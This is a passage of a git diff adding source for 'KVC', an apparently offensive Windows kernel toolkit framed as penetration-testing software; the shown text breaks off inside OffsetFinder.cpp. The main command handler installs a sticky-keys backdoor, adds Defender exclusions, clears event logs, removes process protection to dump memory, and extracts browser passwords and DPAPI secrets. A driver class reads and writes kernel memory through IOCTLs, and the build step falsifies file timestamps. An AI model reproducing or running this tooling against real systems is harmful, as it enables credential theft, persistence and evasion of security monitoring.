/\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "common.h" +#include "Controller.h" +#include "ServiceManager.h" +#include "HelpSystem.h" +#include +#include +#include +#include +#include + +// Forward declarations for utility functions +std::optional ParsePid(std::wstring_view pidStr) noexcept; +bool IsNumeric(std::wstring_view str) noexcept; +bool IsHelpFlag(std::wstring_view arg) noexcept; +std::optional ParseExclusionType(std::wstring_view typeStr) noexcept; +void CleanupDriver() noexcept; + +// Global state for signal handling and cleanup +volatile bool g_interrupted = false; +std::unique_ptr g_controller = nullptr; + +// Signal handler for graceful Ctrl+C cleanup preventing system instability +void SignalHandler(int signal) +{ + if (signal == SIGINT && !g_interrupted) + { + g_interrupted = true; + std::wcout << L"\n[!] Ctrl+C detected - emergency cleanup..." << std::endl; + + if (g_controller) + { + try + { + g_controller->StopDriverService(); + std::wcout << L"[+] Emergency cleanup completed" << std::endl; + } + catch (...) + { + std::wcout << L"[-] Emergency cleanup failed" << std::endl; + } + } + + ExitProcess(130); + } +} + +// Parse exclusion type from string for enhanced Defender management +std::optional ParseExclusionType(std::wstring_view typeStr) noexcept +{ + static const std::unordered_map typeMap = { + {L"paths", TrustedInstallerIntegrator::ExclusionType::Paths}, + {L"processes", TrustedInstallerIntegrator::ExclusionType::Processes}, + {L"extensions", TrustedInstallerIntegrator::ExclusionType::Extensions}, + {L"ipaddresses", TrustedInstallerIntegrator::ExclusionType::IpAddresses} + }; + + std::wstring lowerType(typeStr); + std::transform(lowerType.begin(), lowerType.end(), lowerType.begin(), ::towlower); + + auto it = typeMap.find(lowerType); + return (it != typeMap.end()) ? std::make_optional(it->second) : std::nullopt; +} + +// Main application entry point with comprehensive command handling +int wmain(int argc, wchar_t* argv[]) +{ + signal(SIGINT, SignalHandler); + + // Service mode detection - MUST BE FIRST to handle NT service startup + if (argc >= 2) { + std::wstring_view firstArg = argv[1]; + if (firstArg == L"--service") { + return ServiceManager::RunAsService(); + } + } + + // Display help if no arguments or help flag provided + if (argc < 2) + { + HelpSystem::PrintUsage(argv[0]); + return 1; + } + + std::wstring_view firstArg = argv[1]; + if (IsHelpFlag(firstArg)) + { + HelpSystem::PrintUsage(argv[0]); + return 0; + } + + // Initialize controller for kernel operations + g_controller = std::make_unique(); + std::wstring_view command = firstArg; + + try + { + // Service management commands for advanced deployment scenarios + if (command == L"install") + { + wchar_t exePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return 1; + } + + INFO(L"Installing Kernel Vulnerability Capabilities Framework service for advanced scenarios..."); + bool success = ServiceManager::InstallService(exePath); + return success ? 0 : 1; + } + + else if (command == L"uninstall") + { + INFO(L"Uninstalling Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::UninstallService(); + return success ? 0 : 1; + } + + else if (command == L"service") + { + if (argc < 3) { + ERROR(L"Missing service command. Usage: service "); + return 1; + } + + std::wstring_view serviceCmd = argv[2]; + + if (serviceCmd == L"start") { + INFO(L"Starting Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::StartServiceProcess(); + if (success) { + SUCCESS(L"Service started successfully"); + return 0; + } else { + ERROR(L"Failed to start service"); + return 1; + } + } + else if (serviceCmd == L"stop") { + INFO(L"Stopping Kernel Vulnerability Capabilities Framework service..."); + bool success = ServiceManager::StopServiceProcess(); + if (success) { + SUCCESS(L"Service stopped successfully"); + return 0; + } else { + ERROR(L"Failed to stop service"); + return 1; + } + } + else if (serviceCmd == L"status") { + // Enhanced service status checking with detailed output + INFO(L"Checking Kernel Vulnerability Capabilities Framework service status..."); + + const bool installed = IsServiceInstalled(); + const bool running = installed ? IsServiceRunning() : false; + + std::wcout << L"\n"; + INFO(L"Service Information:"); + INFO(L" Name: %s", ServiceManager::SERVICE_NAME); + INFO(L" Display Name: %s", ServiceManager::SERVICE_DISPLAY_NAME); + std::wcout << L"\n"; + + // Status display with appropriate color coding + if (installed) { + SUCCESS(L"Installation Status: INSTALLED"); + if (running) { + SUCCESS(L"Runtime Status: RUNNING"); + SUCCESS(L"Service is operational and ready for kernel operations"); + INFO(L"The service can be controlled via SCM or kvc commands"); + } else { + ERROR(L"Runtime Status: STOPPED"); + ERROR(L"Service is installed but not currently running"); + INFO(L"Use 'kvc service start' to start the service"); + } + } else { + ERROR(L"Installation Status: NOT INSTALLED"); + ERROR(L"Service is not installed on this system"); + INFO(L"Use 'kvc install' to install the service first"); + } + + std::wcout << L"\n"; + return 0; + } + else { + ERROR(L"Unknown service command: %s", serviceCmd.data()); + return 1; + } + } + + // Sticky keys backdoor management using IFEO technique + else if (command == L"shift") + { + INFO(L"Installing sticky keys backdoor with Defender bypass..."); + return g_controller->InstallStickyKeysBackdoor() ? 0 : 2; + } + + else if (command == L"unshift") + { + INFO(L"Removing sticky keys backdoor..."); + return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2; + } + + // Memory dumping operations with automatic privilege escalation + else if (command == L"dump") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for dump command"); + return 1; + } + + std::wstring_view target = argv[2]; + std::wstring outputPath; + + // Use provided output path or default to Downloads folder + if (argc >= 4) + outputPath = argv[3]; + else + { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK) + { + outputPath = downloadsPath; + outputPath += L"\\"; + CoTaskMemFree(downloadsPath); + } + else + { + outputPath = L".\\"; + } + } + + // Handle numeric PID or process name with pattern matching + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->DumpProcess(pid.value(), outputPath) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->DumpProcessByName(processName, outputPath) ? 0 : 2; + } + } + + // Process information commands with color-coded output + else if (command == L"list") + { + return g_controller->ListProtectedProcesses() ? 0 : 2; + } + + else if (command == L"get") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for protection query"); + return 1; + } + + std::wstring_view target = argv[2]; + + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->GetProcessProtection(pid.value()) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->GetProcessProtectionByName(processName) ? 0 : 2; + } + } + + else if (command == L"info") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for detailed information"); + return 1; + } + + std::wstring_view target = argv[2]; + + DWORD targetPid = 0; + std::wstring targetProcessName; + bool protectionResult = false; + + // Get process info and analyze dumpability with comprehensive reporting + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + targetPid = pid.value(); + targetProcessName = Utils::GetProcessName(targetPid); + protectionResult = g_controller->GetProcessProtection(targetPid); + } + else + { + targetProcessName = std::wstring(target); + auto match = g_controller->ResolveNameWithoutDriver(targetProcessName); + if (match) + { + targetPid = match->Pid; + targetProcessName = match->ProcessName; + protectionResult = g_controller->GetProcessProtection(targetPid); + } + else + { + return 2; + } + } + + // Additional dumpability analysis with detailed reasoning + if (protectionResult && targetPid != 0) + { + auto dumpability = Utils::CanDumpProcess(targetPid, targetProcessName); + + if (dumpability.CanDump) + { + SUCCESS(L"Process is dumpable: %s", dumpability.Reason.c_str()); + } + else + { + ERROR(L"Process is NOT dumpable: %s", dumpability.Reason.c_str()); + } + } + + return protectionResult ? 0 : 2; + } + + // Event log clearing with administrative privileges + else if (command == L"evtclear") + { + return g_controller->ClearSystemEventLogs() ? 0 : 2; + } + + // Process protection commands with atomic driver operations + else if (command == L"set" || command == L"protect") + { + if (argc < 5) + { + ERROR(L"Missing arguments: "); + return 1; + } + + std::wstring_view target = argv[2]; + std::wstring level = argv[3]; + std::wstring signer = argv[4]; + + bool result = false; + + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + + // 'set' forces protection regardless of current state, 'protect' only protects unprotected processes + result = (command == L"set") ? + g_controller->SetProcessProtection(pid.value(), level, signer) : + g_controller->ProtectProcess(pid.value(), level, signer); + } + else + { + std::wstring processName(target); + + result = (command == L"set") ? + g_controller->SetProcessProtectionByName(processName, level, signer) : + g_controller->ProtectProcessByName(processName, level, signer); + } + + return result ? 0 : 2; + } + + else if (command == L"unprotect") + { + if (argc < 3) + { + ERROR(L"Missing PID/process name argument for unprotection"); + return 1; + } + + std::wstring_view target = argv[2]; + + // Handle special 'all' keyword for mass unprotection + if (target == L"all") + { + return g_controller->UnprotectAllProcesses() ? 0 : 2; + } + + // Handle comma-separated list of targets for batch operations + std::wstring targetStr(target); + if (targetStr.find(L',') != std::wstring::npos) + { + std::vector targets; + std::wstring current; + + // Parse comma-separated targets with whitespace handling + for (wchar_t ch : targetStr) + { + if (ch == L',') + { + if (!current.empty()) + { + targets.push_back(current); + current.clear(); + } + } + else if (ch != L' ' && ch != L'\t') + { + current += ch; + } + } + + if (!current.empty()) + targets.push_back(current); + + return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2; + } + + // Handle single target (PID or process name) + if (IsNumeric(target)) + { + auto pid = ParsePid(target); + if (!pid) + { + ERROR(L"Invalid PID format: %s", target.data()); + return 1; + } + return g_controller->UnprotectProcess(pid.value()) ? 0 : 2; + } + else + { + std::wstring processName(target); + return g_controller->UnprotectProcessByName(processName) ? 0 : 2; + } + } + + // System integration commands with TrustedInstaller privileges + else if (command == L"trusted") + { + if (argc < 3) + { + ERROR(L"Missing command argument for elevated execution"); + return 1; + } + + // Combine all remaining arguments into full command with proper escaping + std::wstring fullCommand; + for (int i = 2; i < argc; i++) + { + if (i > 2) fullCommand += L" "; + fullCommand += argv[i]; + } + + return g_controller->RunAsTrustedInstaller(fullCommand) ? 0 : 2; + } + + else if (command == L"install-context") + { + return g_controller->AddContextMenuEntries() ? 0 : 1; + } + + // Enhanced Windows Defender exclusion management with type specification + else if (command == L"add-exclusion") + { + if (argc < 3) { + ERROR(L"Missing arguments for exclusion. Usage: add-exclusion [TYPE] or add-exclusion "); + return 1; + } + + // New syntax with type specification: kvc add-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1; + } + } + + else if (command == L"remove-exclusion") + { + if (argc < 3) { + ERROR(L"Missing arguments for exclusion removal. Usage: remove-exclusion [TYPE] or remove-exclusion "); + return 1; + } + + // New syntax with type specification: kvc remove-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1; + } + } + + // DPAPI secrets extraction commands with comprehensive browser support + else if (command == L"export") + { + if (argc < 3) + { + ERROR(L"Missing subcommand for export. Usage: export secrets [output_path]"); + return 1; + } + + std::wstring_view subCommand = argv[2]; + + if (subCommand == L"secrets") + { + std::wstring outputPath; + + // Use provided output path or default to Downloads folder + if (argc >= 4) + { + outputPath = argv[3]; + } + else + { + wchar_t* downloadsPath; + if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK) + { + outputPath = downloadsPath; + CoTaskMemFree(downloadsPath); + } + else + { + outputPath = L".\\"; + } + } + + INFO(L"Exporting secrets using TrustedInstaller privileges..."); + return g_controller->ShowPasswords(outputPath) ? 0 : 2; + } + else + { + ERROR(L"Unknown export subcommand: %s. Available: secrets", subCommand.data()); + return 1; + } + } + + // Browser passwords extraction with kvc_pass integration + else if (command == L"browser-passwords" || command == L"bp") + { + std::wstring browserType = L"chrome"; // Default to Chrome + std::wstring outputPath = L"."; // Current directory + + // Parse arguments + for (int i = 2; i < argc; i++) { + std::wstring arg = argv[i]; + if (arg == L"--chrome") { + browserType = L"chrome"; + } else if (arg == L"--brave") { + browserType = L"brave"; + } else if (arg == L"--edge") { + browserType = L"edge"; + } else if (arg == L"--output" || arg == L"-o") { + if (i + 1 < argc) { + outputPath = argv[++i]; + } else { + ERROR(L"Missing path for --output argument"); + return 1; + } + } else { + ERROR(L"Unknown argument: %s", arg.c_str()); + return 1; + } + } + + if (browserType == L"edge") { + // First run kvc_pass (cookies / logins) + if (!g_controller->ExportBrowserData(outputPath, browserType)) { + ERROR(L"Failed to export Edge cookies/logins"); + } + + // Then run DPAPI (KVC) – Edge passwords from registry + INFO(L"Extracting Edge passwords via KVC DPAPI..."); + g_controller->ShowPasswords(outputPath); + + return 0; + } else { + // Chrome, Brave – only kvc_pass + if (!g_controller->ExportBrowserData(outputPath, browserType)) { + ERROR(L"Failed to export browser passwords"); + return 1; + } + return 0; + } + } + + // Combined binary processing - decrypt and deploy kvc.dat components + else if (command == L"setup") + { + INFO(L"Loading and processing kvc.dat combined binary..."); + return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2; + } + + + else + { + ERROR(L"Unknown command: %s", command.data()); + HelpSystem::PrintUsage(argv[0]); + return 1; + } + } + catch (const std::exception& e) + { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"Exception occurred: %s", wmsg.c_str()); + CleanupDriver(); + return 3; + } + catch (...) + { + ERROR(L"Unknown exception occurred during execution"); + CleanupDriver(); + return 3; + } + + CleanupDriver(); + return 0; +} + +// Emergency cleanup for driver resources +void CleanupDriver() noexcept +{ + if (g_controller) + { + g_controller->StopDriverService(); + } +} + +// Robust PID parsing with validation +std::optional ParsePid(std::wstring_view pidStr) noexcept +{ + if (pidStr.empty()) return std::nullopt; + + // Convert wide string to narrow for std::from_chars + std::string narrowStr; + narrowStr.reserve(pidStr.size()); + + for (wchar_t wc : pidStr) + { + if (wc > 127) return std::nullopt; // Non-ASCII character + narrowStr.push_back(static_cast(wc)); + } + + DWORD result = 0; + auto [ptr, ec] = std::from_chars(narrowStr.data(), + narrowStr.data() + narrowStr.size(), + result); + + return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ? + std::make_optional(result) : std::nullopt; +} + +// Check if string contains only digits +bool IsNumeric(std::wstring_view str) noexcept +{ + if (str.empty()) return false; + + for (wchar_t ch : str) + { + if (ch < L'0' || ch > L'9') + return false; + } + + return true; +} + +// Recognize various help flag formats +bool IsHelpFlag(std::wstring_view arg) noexcept +{ + if (arg == L"/?" || arg == L"/help" || arg == L"/h") + return true; + + if (arg == L"-?" || arg == L"-help" || arg == L"-h") + return true; + + if (arg == L"--help" || arg == L"--h") + return true; + + if (arg == L"help" || arg == L"?") + return true; + + return false; +} \ No newline at end of file diff --git a/kvc/Kvc.manifest b/kvc/Kvc.manifest new file mode 100644 index 0000000..4ce9348 --- /dev/null +++ b/kvc/Kvc.manifest @@ -0,0 +1,11 @@ + + + CMD as TI + + + + + + + + diff --git a/kvc/Kvc.rc b/kvc/Kvc.rc new file mode 100644 index 0000000000000000000000000000000000000000..f7952ef6cee47946bee37d3c4094f12ddd904a7c GIT binary patch literal 7576 zcmeI1Z%-RX5XR?qrGAI2^QKW-$0Vp~U-B>1iowVR(n?5HY7=Ue0J0$vDPO2>`Vrgy zo?Q=jYo8BHQpu>*>AZJ)voo`^GxN-@|NiTlJ+sVqY-oKO*}09m-`XX8hxCo@%HG&1 zZyWXvS7s-6Y-ijf`Y&k*^o?jW?uw^A&lzvxHna<9>h`65ffUI(VC)e7!+VX)pgf09 zX208eIA%eEJtU90w(JJ((xXos>4xx^RwtqV5;^DexO}xw=sRP?DcTN#t~F>={p*0!E?&}EIcw(VNWexaw!?~bk0)8g6X%LdDLxpv-W zw#_`J*Z3_~I=6Ss{}SuS4*SgdXMUT^dV_h&9$WN3=bp8wb5~oo2G_y9aa?Nu<+GS; z6z6h$m1o`~YfQ4Q)-PI2qm)-3BBLzZ)ND52)a;17b%c+{+@EVX zPoozP)M!yTPeMK(5O<21cqvDe<(pY=lkJu(qZGAq?YzzKl72w#j3`cVIpzhtzox=S(a8{Mm#KZDBBT62J45zH7Y9fP|_-28x*Ap7o zB*!$7EZkQFR9#M2MN|A%yXAa@PsaMEKG7ihr!?rG!46qUtA3XR<o8q+qOwZNauDfKM%w6UU}(!|(J{cVvsry6}eFU#wD_l?<}G;17U z<zT#Dw5Ob8?RwlSq^yysN{7K(cHz=OxpHrna ztU_4 zo=dAyv?{LFiRXx}%6&SuR<_saoRDisL<$eIuk1so{67L~(){7Nd0Vby8o@c%Mx+(u zt}Mj&e%RUzb&cwSI=cT`C|g{=<-pNTn|F#|(}-H-PdDs9Ru@{wRMx}2Bu5nY!`Yt4 zh>i2lvOdr0^78E2r!`S!pgZm^tNt?(Vn5y!<4^ndNN1|CLeKwC%>O}j8&2DHdEVm+ U3vbHKYtKL(ohZ)!hnTMUKl8z?*8l(j literal 0 HcmV?d00001 diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj new file mode 100644 index 0000000..1fd4fd3 --- /dev/null +++ b/kvc/Kvc.vcxproj @@ -0,0 +1,153 @@ + + + + + Release + x64 + + + + + 17.0 + Win32Proj + {4f3de11e-c54a-4dc1-ae8f-c29a720694cc} + kvc + 10.0 + v143 + + + + + + Application + false + v143 + true + Unicode + false + false + + + + + + + + + + + + + + + + false + $(SolutionDir)bin\$(Platform)\$(Configuration)\ + $(SolutionDir)obj\$(Platform)\$(Configuration)\$(ProjectName)\ + + + + 1756665900 + + + + + Level3 + true + true + false + NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;NOMINMAX;%(PreprocessorDefinitions) + true + stdcpplatest + latest + false + false + /utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions) + MultiThreadedDLL + Sync + false + false + true + true + false + 4996;4117 + MaxSpeed + true + Speed + true + false + + + Console + true + true + false + HighestAvailable + kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies) + /OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions) + UseLinkTimeCodeGeneration + true + true + MachineX64 + false + true + true + true + + + powershell -Command "& {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}" + + + 0x0409 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kvc/Kvc.vcxproj.filters b/kvc/Kvc.vcxproj.filters new file mode 100644 index 0000000..ea5272c --- /dev/null +++ b/kvc/Kvc.vcxproj.filters @@ -0,0 +1,97 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942} + + + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + Source Files\Controller + + + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/kvc/Kvc.vcxproj.user b/kvc/Kvc.vcxproj.user new file mode 100644 index 0000000..88a5509 --- /dev/null +++ b/kvc/Kvc.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kvc/KvcDrv.cpp b/kvc/KvcDrv.cpp new file mode 100644 index 0000000..7be9443 --- /dev/null +++ b/kvc/KvcDrv.cpp @@ -0,0 +1,169 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// KvcDrv.cpp +#include "kvcDrv.h" +#include "common.h" +#include + +// IOCTL command codes for KVC driver communication +constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048; +constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c; + +kvc::kvc() = default; + +kvc::~kvc() { + Cleanup(); +} + +// Force cleanup for atomic driver operations - critical for stability +void kvc::Cleanup() noexcept { + DEBUG(L"kvc::Cleanup() called"); + + if (m_deviceHandle) { + DEBUG(L"Closing device handle..."); + // Force the handle to close + FlushFileBuffers(m_deviceHandle.get()); + m_deviceHandle.reset(); // This should close the handle + } + + m_deviceName.clear(); + DEBUG(L"kvc cleanup completed"); +} + +bool kvc::IsConnected() const noexcept { + return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE; +} + +// Driver connection establishment with device path +bool kvc::Initialize() noexcept { + if (IsConnected()) { + return true; + } + + if (m_deviceName.empty()) { + m_deviceName = L"\\\\.\\" + GetServiceName(); + } + + if (!InitDynamicAPIs()) return false; + + // SIMPLE DEVICE OPEN - without test operations + HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(), + GENERIC_READ | GENERIC_WRITE, + 0, nullptr, OPEN_EXISTING, 0, nullptr); + + if (rawHandle == INVALID_HANDLE_VALUE) { + return false; // Silently fail - this is normal when the driver is not running + } + + m_deviceHandle = UniqueHandle(rawHandle); + return true; +} + +// Memory read operations with type safety +std::optional kvc::Read8(ULONG_PTR address) noexcept { + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value() & 0xff); +} + +std::optional kvc::Read16(ULONG_PTR address) noexcept { + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value() & 0xffff); +} + +std::optional kvc::Read32(ULONG_PTR address) noexcept { + return Read(address, sizeof(DWORD)); +} + +std::optional kvc::Read64(ULONG_PTR address) noexcept { + auto low = Read32(address); + auto high = Read32(address + 4); + + if (!low || !high) return std::nullopt; + + return (static_cast(high.value()) << 32) | low.value(); +} + +std::optional kvc::ReadPtr(ULONG_PTR address) noexcept { +#ifdef _WIN64 + auto value = Read64(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value()); +#else + auto value = Read32(address); + if (!value.has_value()) return std::nullopt; + return static_cast(value.value()); +#endif +} + +// Memory write operations with type safety +bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write16(ULONG_PTR address, WORD value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept { + return Write(address, sizeof(value), value); +} + +bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept { + DWORD low = static_cast(value & 0xffffffff); + DWORD high = static_cast((value >> 32) & 0xffffffff); + return Write32(address, low) && Write32(address + 4, high); +} + +// Low-level driver communication via IOCTL +std::optional kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept { + RTC_MEMORY_READ memoryRead{}; + memoryRead.Address = address; + memoryRead.Size = valueSize; + + if (!Initialize()) return std::nullopt; + + DWORD bytesReturned = 0; + if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ, + &memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr)) + return std::nullopt; + + return memoryRead.Value; +} + +bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept { + RTC_MEMORY_WRITE memoryWrite{}; + memoryWrite.Address = address; + memoryWrite.Size = valueSize; + memoryWrite.Value = value; + + if (!Initialize()) return false; + + DWORD bytesReturned = 0; + return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE, + &memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr); +} \ No newline at end of file diff --git a/kvc/KvcDrv.h b/kvc/KvcDrv.h new file mode 100644 index 0000000..9ec0bef --- /dev/null +++ b/kvc/KvcDrv.h @@ -0,0 +1,77 @@ +#pragma once + +#include "common.h" +#include +#include + +// KVC driver communication structures with proper alignment +struct alignas(8) RTC_MEMORY_READ +{ + BYTE Pad0[8]; // Alignment padding + DWORD64 Address; // Target memory address + BYTE Pad1[8]; // Additional padding + DWORD Size; // Bytes to read + DWORD Value; // Returned value + BYTE Pad3[16]; // Final padding +}; + +struct alignas(8) RTC_MEMORY_WRITE +{ + BYTE Pad0[8]; // Alignment padding + DWORD64 Address; // Target memory address + BYTE Pad1[8]; // Additional padding + DWORD Size; // Bytes to write + DWORD Value; // Value to write + BYTE Pad3[16]; // Final padding +}; + +// Kernel memory operations interface via KVC driver +class kvc +{ +public: + kvc(); + ~kvc(); + + kvc(const kvc&) = delete; + kvc& operator=(const kvc&) = delete; + kvc(kvc&&) noexcept = default; + kvc& operator=(kvc&&) noexcept = default; + + // Driver connection management + bool Initialize() noexcept; + void Cleanup() noexcept; + bool IsConnected() const noexcept; + + // Memory read operations with type safety + std::optional Read8(ULONG_PTR address) noexcept; + std::optional Read16(ULONG_PTR address) noexcept; + std::optional Read32(ULONG_PTR address) noexcept; + std::optional Read64(ULONG_PTR address) noexcept; + std::optional ReadPtr(ULONG_PTR address) noexcept; + + // Memory write operations with type safety + bool Write8(ULONG_PTR address, BYTE value) noexcept; + bool Write16(ULONG_PTR address, WORD value) noexcept; + bool Write32(ULONG_PTR address, DWORD value) noexcept; + bool Write64(ULONG_PTR address, DWORD64 value) noexcept; + +private: + // Smart handle wrapper for automatic cleanup + struct HandleDeleter + { + void operator()(HANDLE handle) const noexcept + { + if (handle && handle != INVALID_HANDLE_VALUE) + CloseHandle(handle); + } + }; + + using UniqueHandle = std::unique_ptr, HandleDeleter>; + + std::wstring m_deviceName; // Driver device name + UniqueHandle m_deviceHandle; // Handle to driver device + + // Low-level communication via IOCTL + std::optional Read(ULONG_PTR address, DWORD valueSize) noexcept; + bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept; +}; \ No newline at end of file diff --git a/kvc/OffsetFinder.cpp b/kvc/OffsetFinder.cpp new file mode 100644 index 0000000..81fea02 --- /dev/null +++ b/kvc/OffsetFinder.cpp @@ -0,0 +1,244 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// OffsetFinder.cpp +#include "OffsetFinder.h" +#include "Utils.h" +#include "common.h" +#include + +namespace { + // Safe offset extraction with validation to prevent crashes + std::optional SafeExtractWord(const void* base, size_t byteOffset) noexcept + { + if (!base) return 